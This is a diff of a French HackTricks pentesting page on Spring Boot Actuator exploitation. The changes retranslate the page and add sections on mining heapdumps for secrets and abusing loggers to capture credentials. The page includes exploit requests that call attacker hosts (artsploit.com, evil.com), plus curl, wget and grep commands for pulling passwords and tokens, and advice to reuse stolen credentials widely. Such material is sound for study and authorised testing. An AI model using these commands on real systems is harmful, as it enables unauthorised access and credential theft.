[https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 8f6396989..3fe2e0226 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -2,33 +2,33 @@ {{#include ../../banners/hacktricks-training.md}} -## **Bypass d'authentification Spring** +## **Spring Auth Bypass**
-**Provenant de** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Exploitation des Actuators Spring Boot +## Exploiting Spring Boot Actuators -**Vérifiez le post original de** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Consultez l'article original sur** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Points Clés :** +### **Points clés :** -- Les Actuators Spring Boot enregistrent des points de terminaison tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces points de terminaison sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité. -- Certains points de terminaison des Actuators peuvent exposer des données sensibles ou permettre des actions nuisibles : +- Spring Boot Actuators exposent des endpoints tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` ne sont pas sensibles par défaut, mais les développeurs désactivent souvent cette protection. +- Certains endpoints Actuator peuvent divulguer des données sensibles ou permettre des actions dangereuses : - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, et `/heapdump`. -- Dans Spring Boot 1.x, les actuators sont enregistrés sous l'URL racine, tandis qu'en 2.x, ils sont sous le chemin de base `/actuator/`. +- Dans Spring Boot 1.x, les actuators sont enregistrés à la racine de l'URL, alors que dans 2.x, ils sont sous le chemin de base `/actuator/`. -### **Techniques d'Exploitation :** +### **Techniques d'exploitation :** -1. **Exécution de Code à Distance via '/jolokia'** : -- Le point de terminaison de l'actuator `/jolokia` expose la bibliothèque Jolokia, qui permet l'accès HTTP aux MBeans. -- L'action `reloadByURL` peut être exploitée pour recharger les configurations de journalisation à partir d'une URL externe, ce qui peut conduire à un XXE aveugle ou à une Exécution de Code à Distance via des configurations XML élaborées. -- URL d'exploit exemple : `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Modification de Configuration via '/env'** : +1. **Remote Code Execution via '/jolokia'**: +- L'endpoint `/jolokia` expose la bibliothèque Jolokia, qui permet un accès HTTP aux MBeans. +- L'action `reloadByURL` peut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou Remote Code Execution via des configurations XML spécialement conçues. +- Exemple d'URL d'exploit : `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: -- Si les bibliothèques Spring Cloud sont présentes, le point de terminaison `/env` permet la modification des propriétés environnementales. -- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, telles que la vulnérabilité de désérialisation XStream dans le service Eureka serviceURL. +- Si les Spring Cloud Libraries sont présentes, l'endpoint `/env` permet la modification des propriétés d'environnement. +- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de deserialization XStream dans le serviceURL d'Eureka. - Exemple de requête POST d'exploit : ``` @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Autres Paramètres Utiles** : -- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que l'injection SQL ou la modification des chaînes de connexion à la base de données. +3. **Other Useful Settings**: +- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que SQL injection ou la modification des chaînes de connexion à la base de données. -### **Informations Supplémentaires :** +### **Informations supplémentaires :** -- Une liste complète des actuators par défaut peut être trouvée [ici](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Le point de terminaison `/env` dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même. +- Une liste complète des actuators par défaut est disponible [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- L'endpoint `/env` dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même. -### **Sujets Connexes :** +### **Sujets connexes :** -1. **Env + H2 RCE** : -- Les détails sur l'exploitation de la combinaison du point de terminaison `/env` et de la base de données H2 peuvent être trouvés [ici](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +1. **Env + H2 RCE**: +- Détails sur l'exploitation de la combinaison de l'endpoint `/env` et de la base H2 sont disponibles [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF sur Spring Boot par une Interprétation Incorrecte des Noms de Chemin** : -- La gestion des paramètres de matrice (`;`) dans les noms de chemin HTTP par le framework Spring peut être exploitée pour une Contre-Attaque de Requête Côté Serveur (SSRF). -- Exemple de requête d'exploit : +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- La gestion par le framework Spring des paramètres matrix (`;`) dans les pathnames HTTP peut être exploitée pour du Server-Side Request Forgery (SSRF). +- Exemple de requête d'exploitation : ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +Si `/actuator/heapdump` est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets en direct (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). + +- Téléchargement et triage rapide : +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Analyse plus approfondie avec VisualVM et OQL : +- Ouvrez le heapdump dans VisualVM, inspectez les instances de `java.lang.String` ou exécutez OQL pour rechercher des secrets : +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Extraction automatisée avec JDumpSpider : +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Résultats typiques à forte valeur : +- Objets Spring `DataSourceProperties` / `HikariDataSource` exposant `url`, `username`, `password`. +- Entrées `OriginTrackedMapPropertySource` révélant `management.endpoints.web.exposure.include`, les ports de service, et Basic-Auth intégré dans les URLs (par ex., Eureka `defaultZone`). +- Fragments de requêtes/réponses HTTP bruts incluant `Authorization: Basic ...` capturés en mémoire. + +Conseils : +- Utilisez une wordlist axée Spring pour découvrir rapidement les endpoints d'actuator (par ex., SecLists spring-boot.txt) et vérifiez toujours si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, et `/actuator/configprops` sont également exposés. +- Les credentials issus du heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), donc essayez-les largement. + + +## Abuser des loggers/logging d'Actuator pour capturer des credentials + +Si `management.endpoints.web.exposure.include` le permet et que `/actuator/loggers` est exposé, vous pouvez augmenter dynamiquement les niveaux de logs à DEBUG/TRACE pour les packages qui gèrent l'authentification et le traitement des requêtes. Combiné avec des logs lisibles (via `/actuator/logfile` ou des chemins de logs connus), cela peut leak credentials soumis lors des flux de connexion (par ex., en-têtes Basic-Auth ou paramètres de formulaire). + +- Énumérez et augmentez les loggers sensibles : +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Trouvez où les logs sont écrits et récoltez-les : +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Déclenchez du trafic de login/authentification et analysez le log pour les creds. Dans des architectures microservices avec une gateway en front d'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les corps de formulaires. Certains environnements génèrent même périodiquement du trafic de login synthétique, rendant la récolte triviale une fois que le logging est verbeux. + +Remarques : +- Réinitialisez les niveaux de log une fois terminé : `POST /actuator/loggers/` avec `{ "configuredLevel": null }`. +- Si `/actuator/httpexchanges` est exposé, il peut aussi faire apparaître des metadata récentes de requêtes qui peuvent inclure des headers sensibles. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}